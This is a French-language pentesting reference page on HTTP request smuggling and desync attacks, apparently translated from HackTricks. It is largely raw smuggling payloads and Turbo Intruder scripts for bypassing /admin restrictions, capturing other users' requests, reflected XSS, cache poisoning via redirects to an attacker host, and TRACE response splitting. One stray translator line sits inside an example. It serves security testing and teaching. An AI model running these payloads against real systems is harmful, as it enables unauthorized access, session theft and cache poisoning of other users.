HTTP Request Smuggling / HTTP Desync Attack
{{#include ../../banners/hacktricks-training.md}}
Qu'est-ce que c'est
Cette vulnérabilité se produit lorsqu'une désynchronisation entre les proxies front-end et le serveur back-end permet à un attaquant d'envoyer une requête HTTP qui sera interprétée comme une unique requête par les proxies front-end (équilibreur de charge/proxy inverse) et comme 2 requêtes par le serveur back-end.
Cela permet à un utilisateur de modifier la prochaine requête qui arrive au serveur back-end après la sienne.
Théorie
Si un message est reçu avec à la fois un champ d'en-tête Transfer-Encoding et un champ d'en-tête Content-Length, ce dernier DOIT être ignoré.
Content-Length
L'en-tête d'entité Content-Length indique la taille du corps de l'entité, en octets, envoyée au destinataire.
Transfer-Encoding: chunked
L'en-tête Transfer-Encoding spécifie la forme d'encodage utilisée pour transférer en toute sécurité le corps de la charge utile à l'utilisateur.
Chunked signifie que de grandes données sont envoyées en une série de morceaux.
Réalité
Le Front-End (un équilibreur de charge / Proxy Inverse) traite l'en-tête content-length ou l'en-tête transfer-encoding et le serveur Back-end traite l'autre, provoquant une désynchronisation entre les 2 systèmes.
Cela pourrait être très critique car un attaquant pourra envoyer une requête au proxy inverse qui sera interprétée par le serveur back-end comme 2 requêtes différentes. Le danger de cette technique réside dans le fait que le serveur back-end interprétera la 2ème requête injectée comme si elle venait du prochain client et la vraie requête de ce client fera partie de la requête injectée.
Particularités
Rappelez-vous qu'en HTTP un caractère de nouvelle ligne est composé de 2 octets :
- Content-Length : Cet en-tête utilise un nombre décimal pour indiquer le nombre d'octets du corps de la requête. Le corps est censé se terminer par le dernier caractère, une nouvelle ligne n'est pas nécessaire à la fin de la requête.
- Transfer-Encoding : Cet en-tête utilise dans le corps un nombre hexadécimal pour indiquer le nombre d'octets du prochain morceau. Le morceau doit se terminer par une nouvelle ligne mais cette nouvelle ligne n'est pas comptée par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un morceau de taille 0 suivi de 2 nouvelles lignes :
0
- Connection : D'après mon expérience, il est recommandé d'utiliser
Connection: keep-alive
lors de la première requête du request Smuggling.
Exemples de base
Tip
Lors de l'exploitation de cela avec Burp Suite, désactivez
Update Content-Length
etNormalize HTTP/1 line endings
dans le répéteur car certains gadgets abusent des nouvelles lignes, des retours chariot et des content-length malformés.
Les attaques de HTTP request smuggling sont élaborées en envoyant des requêtes ambiguës qui exploitent les divergences dans la façon dont les serveurs front-end et back-end interprètent les en-têtes Content-Length
(CL) et Transfer-Encoding
(TE). Ces attaques peuvent se manifester sous différentes formes, principalement comme CL.TE, TE.CL, et TE.TE. Chaque type représente une combinaison unique de la façon dont les serveurs front-end et back-end priorisent ces en-têtes. Les vulnérabilités proviennent du fait que les serveurs traitent la même requête de différentes manières, entraînant des résultats inattendus et potentiellement malveillants.
Exemples de base des types de vulnérabilités
Note
À la table précédente, vous devriez ajouter la technique TE.0, comme la technique CL.0 mais en utilisant Transfer Encoding.
Vulnérabilité CL.TE (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)
-
Front-End (CL) : Traite la requête en fonction de l'en-tête
Content-Length
. -
Back-End (TE) : Traite la requête en fonction de l'en-tête
Transfer-Encoding
. -
Scénario d'attaque :
-
L'attaquant envoie une requête où la valeur de l'en-tête
Content-Length
ne correspond pas à la longueur réelle du contenu. -
Le serveur front-end transmet l'intégralité de la requête au back-end, en fonction de la valeur de
Content-Length
. -
Le serveur back-end traite la requête comme étant en morceaux en raison de l'en-tête
Transfer-Encoding: chunked
, interprétant les données restantes comme une requête séparée et subséquente. -
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
Vulnérabilité TE.CL (Transfer-Encoding utilisé par le Front-End, Content-Length utilisé par le Back-End)
-
Front-End (TE) : Traite la requête en fonction de l'en-tête
Transfer-Encoding
. -
Back-End (CL) : Traite la requête en fonction de l'en-tête
Content-Length
. -
Scénario d'attaque :
-
L'attaquant envoie une requête en morceaux où la taille du morceau (
7b
) et la longueur réelle du contenu (Content-Length: 4
) ne s'alignent pas. -
Le serveur front-end, respectant
Transfer-Encoding
, transmet l'intégralité de la requête au back-end. -
Le serveur back-end, respectant
Content-Length
, ne traite que la partie initiale de la requête (7b
octets), laissant le reste comme partie d'une requête subséquente non intentionnelle. -
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
Vulnérabilité TE.TE (Transfer-Encoding utilisé par les deux, avec obfuscation)
-
Serveurs : Les deux prennent en charge
Transfer-Encoding
, mais l'un peut être trompé pour l'ignorer via l'obfuscation. -
Scénario d'attaque :
-
L'attaquant envoie une requête avec des en-têtes
Transfer-Encoding
obfusqués. -
Selon quel serveur (front-end ou back-end) échoue à reconnaître l'obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée.
-
La partie non traitée de la requête, telle que vue par l'un des serveurs, devient partie d'une requête subséquente, entraînant un smuggling.
-
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Scénario CL.CL (Content-Length utilisé par le Front-End et le Back-End)
- Les deux serveurs traitent la requête uniquement en fonction de l'en-tête
Content-Length
. - Ce scénario ne conduit généralement pas à un smuggling, car il y a un alignement dans la façon dont les deux serveurs interprètent la longueur de la requête.
- Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
Scénario CL.0
- Fait référence aux scénarios où l'en-tête
Content-Length
est présent et a une valeur autre que zéro, indiquant que le corps de la requête a du contenu. Le back-end ignore l'en-têteContent-Length
(qui est traité comme 0), mais le front-end l'analyse. - C'est crucial pour comprendre et élaborer des attaques de smuggling, car cela influence la façon dont les serveurs déterminent la fin d'une requête.
- Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
Scénario TE.0
- Comme le précédent mais en utilisant TE
- Technique reportée ici
- Exemple :
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
Casser le serveur web
Cette technique est également utile dans des scénarios où il est possible de casser un serveur web tout en lisant les données HTTP initiales mais sans fermer la connexion. De cette manière, le corps de la requête HTTP sera considéré comme la prochaine requête HTTP.
Par exemple, comme expliqué dans cet article, dans Werkzeug, il était possible d'envoyer certains caractères Unicode et cela ferait casser le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête Connection: keep-alive
, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le corps de la requête sera traité comme la prochaine requête HTTP.
Forcer via des en-têtes hop-by-hop
En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de supprimer l'en-tête Content-Length ou Transfer-Encoding afin qu'un HTTP request smuggling soit possible à abuser.
Connection: Content-Length
Pour plus d'informations sur les en-têtes hop-by-hop, visitez :
{{#ref}} ../abusing-hop-by-hop-headers.md {{#endref}}
Trouver des vulnérabilités de HTTP Request Smuggling
Identifier les vulnérabilités de HTTP request smuggling peut souvent être réalisé en utilisant des techniques de timing, qui reposent sur l'observation du temps qu'il faut au serveur pour répondre à des requêtes manipulées. Ces techniques sont particulièrement utiles pour détecter les vulnérabilités CL.TE et TE.CL. En plus de ces méthodes, il existe d'autres stratégies et outils qui peuvent être utilisés pour trouver de telles vulnérabilités :
Trouver des vulnérabilités CL.TE en utilisant des techniques de timing
-
Méthode :
-
Envoyer une requête qui, si l'application est vulnérable, fera attendre le serveur back-end pour des données supplémentaires.
-
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Observation :
-
Le serveur front-end traite la requête en fonction de
Content-Length
et coupe le message prématurément. -
Le serveur back-end, s'attendant à un message chunked, attend le prochain chunk qui n'arrive jamais, provoquant un délai.
-
Indicateurs :
-
Délais d'attente ou longs délais de réponse.
-
Réception d'une erreur 400 Bad Request du serveur back-end, parfois avec des informations détaillées sur le serveur.
Trouver des vulnérabilités TE.CL en utilisant des techniques de timing
-
Méthode :
-
Envoyer une requête qui, si l'application est vulnérable, fera attendre le serveur back-end pour des données supplémentaires.
-
Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Observation :
- Le serveur front-end traite la requête en fonction de
Transfer-Encoding
et transmet l'intégralité du message. - Le serveur back-end, s'attendant à un message basé sur
Content-Length
, attend des données supplémentaires qui n'arrivent jamais, provoquant un délai.
Autres méthodes pour trouver des vulnérabilités
- Analyse de réponse différentielle :
- Envoyer des versions légèrement variées d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant une anomalie de parsing.
- Utilisation d'outils automatisés :
- Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambiguës et en analysant les réponses.
- Tests de variance de Content-Length :
- Envoyer des requêtes avec des valeurs
Content-Length
variées qui ne correspondent pas à la longueur réelle du contenu et observer comment le serveur gère de tels décalages. - Tests de variance de Transfer-Encoding :
- Envoyer des requêtes avec des en-têtes
Transfer-Encoding
obfusqués ou malformés et surveiller comment les serveurs front-end et back-end réagissent différemment à de telles manipulations.
Test de vulnérabilité de HTTP Request Smuggling
Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de polluer vos requêtes, par exemple, en faisant en sorte qu'une requête à /
renvoie une réponse 404. Les exemples CL.TE
et TE.CL
discutés précédemment dans Exemples de base démontrent comment empoisonner une requête client pour provoquer une réponse 404, malgré le fait que le client vise à accéder à une ressource différente.
Considérations clés
Lors du test des vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
- Connexions réseau distinctes : Les requêtes "d'attaque" et "normales" doivent être envoyées sur des connexions réseau séparées. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
- URL et paramètres cohérents : Visez à utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes acheminent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. Les faire correspondre augmente la probabilité que les deux requêtes soient traitées par le même serveur, condition préalable à une attaque réussie.
- Conditions de timing et de course : La requête "normale", destinée à détecter l'interférence de la requête "d'attaque", est en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications chargées peuvent nécessiter plusieurs essais pour une confirmation concluante de la vulnérabilité.
- Défis d'équilibrage de charge : Les serveurs front-end agissant comme des équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque échouera. Cet aspect d'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
- Impact utilisateur non intentionnel : Si votre attaque impacte involontairement la requête d'un autre utilisateur (pas la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, nécessitant une approche prudente.
Abuser de HTTP Request Smuggling
Contourner la sécurité front-end via HTTP Request Smuggling
Parfois, les proxys front-end appliquent des mesures de sécurité, scrutant les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant le HTTP Request Smuggling, permettant un accès non autorisé à des points de terminaison restreints. Par exemple, accéder à /admin
pourrait être interdit de l'extérieur, le proxy front-end bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d'inspecter les requêtes intégrées dans une requête HTTP smuggled, laissant une faille pour contourner ces restrictions.
Considérez les exemples suivants illustrant comment le HTTP Request Smuggling peut être utilisé pour contourner les contrôles de sécurité front-end, ciblant spécifiquement le chemin /admin
qui est généralement protégé par le proxy front-end :
Exemple CL.TE
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
Dans l'attaque CL.TE, l'en-tête Content-Length
est utilisé pour la requête initiale, tandis que la requête intégrée suivante utilise l'en-tête Transfer-Encoding: chunked
. Le proxy frontal traite la requête POST
initiale mais ne parvient pas à inspecter la requête intégrée GET /admin
, permettant un accès non autorisé au chemin /admin
.
TE.CL Exemple
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Inverse, dans l'attaque TE.CL, la requête POST
initiale utilise Transfer-Encoding: chunked
, et la requête intégrée suivante est traitée en fonction de l'en-tête Content-Length
. Comme dans l'attaque CL.TE, le proxy frontal ignore la requête GET /admin
dissimulée, accordant involontairement l'accès au chemin restreint /admin
.
Révélation de la réécriture des requêtes front-end
Les applications utilisent souvent un serveur frontal pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, tels que X-Forwarded-For: <IP du client>
, pour relayer l'IP du client au back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de contourner les protections ou découvrir des informations ou des points de terminaison dissimulés.
Pour enquêter sur la façon dont un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, élaborez une requête, en utilisant ce paramètre en dernier, similaire à ce qui suit :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
Dans cette structure, les composants de requête suivants sont ajoutés après search=
, qui est le paramètre reflété dans la réponse. Ce reflet exposera les en-têtes de la requête suivante.
Il est important d'aligner l'en-tête Content-Length
de la requête imbriquée avec la longueur réelle du contenu. Il est conseillé de commencer avec une petite valeur et d'augmenter progressivement, car une valeur trop basse tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur dans la requête.
Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la requête doit se terminer par search=\r\n0
. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
Cette méthode sert principalement à comprendre les modifications de requête effectuées par le proxy frontal, réalisant essentiellement une enquête autodirigée.
Capturer les requêtes d'autres utilisateurs
Il est possible de capturer les requêtes de l'utilisateur suivant en ajoutant une requête spécifique comme valeur d'un paramètre lors d'une opération POST. Voici comment cela peut être accompli :
En ajoutant la requête suivante comme valeur d'un paramètre, vous pouvez stocker la requête du client suivant :
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
Dans ce scénario, le paramètre de commentaire est destiné à stocker le contenu dans la section des commentaires d'un post sur une page accessible au public. Par conséquent, le contenu de la requête suivante apparaîtra comme un commentaire.
Cependant, cette technique a des limitations. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête contrefaite. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère &
. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier &
, qui peut même faire partie de la chaîne de requête.
De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans de tels cas, la requête doit se terminer par search=\r\n0
. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre de recherche.
Utiliser le HTTP request smuggling pour exploiter le XSS réfléchi
Le HTTP Request Smuggling peut être utilisé pour exploiter des pages web vulnérables au XSS réfléchi, offrant des avantages significatifs :
- L'interaction avec les utilisateurs cibles n'est pas requise.
- Permet l'exploitation du XSS dans des parties de la requête qui sont normalement inaccessibles, comme les en-têtes de requête HTTP.
Dans les scénarios où un site web est susceptible au XSS réfléchi via l'en-tête User-Agent, la charge utile suivante démontre comment exploiter cette vulnérabilité :
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Ce payload est structuré pour exploiter la vulnérabilité en :
- Initiant une requête
POST
, apparemment typique, avec un en-têteTransfer-Encoding: chunked
pour indiquer le début du smuggling. - Suivant avec un
0
, marquant la fin du corps du message chunked. - Ensuite, une requête
GET
smuggled est introduite, où l'en-têteUser-Agent
est injecté avec un script,<script>alert(1)</script>
, déclenchant le XSS lorsque le serveur traite cette requête subséquente.
En manipulant le User-Agent
par le smuggling, le payload contourne les contraintes normales de requête, exploitant ainsi la vulnérabilité XSS réfléchie de manière non standard mais efficace.
HTTP/0.9
Caution
Dans le cas où le contenu de l'utilisateur est réfléchi dans une réponse avec un
Content-type
tel quetext/plain
, empêchant l'exécution du XSS. Si le serveur prend en charge HTTP/0.9, il pourrait être possible de contourner cela !
La version HTTP/0.9 était antérieure à la 1.0 et utilise uniquement des verbes GET et ne répond pas avec des en-têtes, juste le corps.
Dans ce writeup, cela a été abusé avec un smuggling de requête et un point de terminaison vulnérable qui répondra avec l'entrée de l'utilisateur pour smuggler une requête avec HTTP/0.9. Le paramètre qui sera réfléchi dans la réponse contenait une réponse HTTP/1.1 factice (avec en-têtes et corps) afin que la réponse contienne un code JS exécutable valide avec un Content-Type
de text/html
.
Exploiter les redirections sur site avec le HTTP Request Smuggling
Les applications redirigent souvent d'une URL à une autre en utilisant le nom d'hôte de l'en-tête Host
dans l'URL de redirection. Cela est courant avec des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans barre oblique à la fin entraîne une redirection pour inclure la barre oblique :
GET /home HTTP/1.1
Host: normal-website.com
Résultats dans :
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Bien que cela puisse sembler inoffensif, ce comportement peut être manipulé en utilisant le HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Cette requête dissimulée pourrait entraîner la redirection de la prochaine requête utilisateur traitée vers un site web contrôlé par un attaquant :
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Résultats dans :
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Dans ce scénario, la demande d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en servant un JavaScript malveillant en réponse.
Exploitation de la contamination du cache Web via le HTTP Request Smuggling
La contamination du cache Web peut être exécutée si un composant de l'infrastructure front-end met en cache du contenu, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de contaminer le cache.
Auparavant, nous avons observé comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir Exemples de base). De même, il est possible de tromper le serveur pour qu'il délivre le contenu de /index.html
en réponse à une demande pour /static/include.js
. Par conséquent, le contenu de /static/include.js
est remplacé dans le cache par celui de /index.html
, rendant /static/include.js
inaccessible aux utilisateurs, ce qui peut potentiellement conduire à une Déni de Service (DoS).
Cette technique devient particulièrement puissante si une vulnérabilité de redirection ouverte est découverte ou s'il y a une redirection sur site vers une redirection ouverte. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de /static/include.js
par un script sous le contrôle de l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) à grande échelle contre tous les clients demandant le /static/include.js
mis à jour.
Voici une illustration de l'exploitation de la contamination du cache combinée avec une redirection sur site vers une redirection ouverte. L'objectif est de modifier le contenu du cache de /static/include.js
pour servir du code JavaScript contrôlé par l'attaquant :
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Notez la requête intégrée ciblant /post/next?postId=3
. Cette requête sera redirigée vers /post?postId=4
, utilisant la valeur de l'en-tête Host pour déterminer le domaine. En modifiant l'en-tête Host, l'attaquant peut rediriger la requête vers son domaine (redirection sur site vers redirection ouverte).
Après un empoisonnement de socket réussi, une requête GET pour /static/include.js
doit être initiée. Cette requête sera contaminée par la précédente requête redirection sur site vers redirection ouverte et récupérera le contenu du script contrôlé par l'attaquant.
Par la suite, toute requête pour /static/include.js
servira le contenu mis en cache du script de l'attaquant, lançant ainsi une large attaque XSS.
Utiliser le smuggling de requêtes HTTP pour effectuer une tromperie de cache web
Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?
- Dans l'empoisonnement de cache web, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d'autres utilisateurs de l'application.
- Dans la tromperie de cache web, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu depuis le cache.
L'attaquant crée une requête smuggled qui récupère un contenu sensible spécifique à l'utilisateur. Considérez l'exemple suivant :
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Si cette requête de contournement empoisonne une entrée de cache destinée à du contenu statique (par exemple, /someimage.png
), les données sensibles de la victime provenant de /private/messages
pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
Abus de TRACE via HTTP Request Smuggling
Dans cet article, il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser avec un HTTP Request Smuggling. Cela est dû au fait que cette méthode reflétera tout en-tête envoyé au serveur dans le corps de la réponse. Par exemple :
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Please provide the text you would like me to translate.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Un exemple de la façon d'abuser de ce comportement serait de smuggler d'abord une requête HEAD. Cette requête sera répondue uniquement avec les en-têtes d'une requête GET (Content-Type
parmi eux). Et smuggler immédiatement après la HEAD une requête TRACE, qui va réfléchir les données envoyées.
Comme la réponse HEAD contiendra un en-tête Content-Length
, la réponse de la requête TRACE sera traitée comme le corps de la réponse HEAD, réfléchissant donc des données arbitraires dans la réponse.
Cette réponse sera envoyée à la prochaine requête sur la connexion, donc cela pourrait être utilisé dans un fichier JS mis en cache par exemple pour injecter du code JS arbitraire.
Abuser de TRACE via le HTTP Response Splitting
Continuer à suivre ce post est suggéré comme une autre façon d'abuser de la méthode TRACE. Comme commenté, smuggler une requête HEAD et une requête TRACE permet de contrôler certaines données réfléchies dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l'en-tête Content-Length et est formée par la réponse à la requête TRACE.
Par conséquent, la nouvelle idée serait que, connaissant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet du Content-Length, permettant à un attaquant de contrôler complètement la requête à la prochaine réponse (ce qui pourrait être utilisé pour effectuer un empoisonnement de cache).
Exemple :
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Générera ces réponses (notez comment la réponse HEAD a un Content-Length rendant la réponse TRACE partie du corps de la HEAD et une fois que le Content-Length de la HEAD se termine, une réponse HTTP valide est camouflée) :
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
Armer le HTTP Request Smuggling avec la désynchronisation de la réponse HTTP
Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez ces autres méthodes d'exploitation :
{{#ref}} ../http-response-smuggling-desync.md {{#endref}}
Autres techniques de HTTP Request Smuggling
- HTTP Request Smuggling dans le navigateur (Côté client)
{{#ref}} browser-http-request-smuggling.md {{#endref}}
- Request Smuggling dans les rétrogradations HTTP/2
{{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}}
Scripts Turbo intruder
CL.TE
Depuis https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
De : https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Outils
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer : Cet outil est un fuzzer HTTP basé sur la grammaire utile pour trouver des incohérences étranges dans le request smuggling.
Références
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
{{#include ../../banners/hacktricks-training.md}}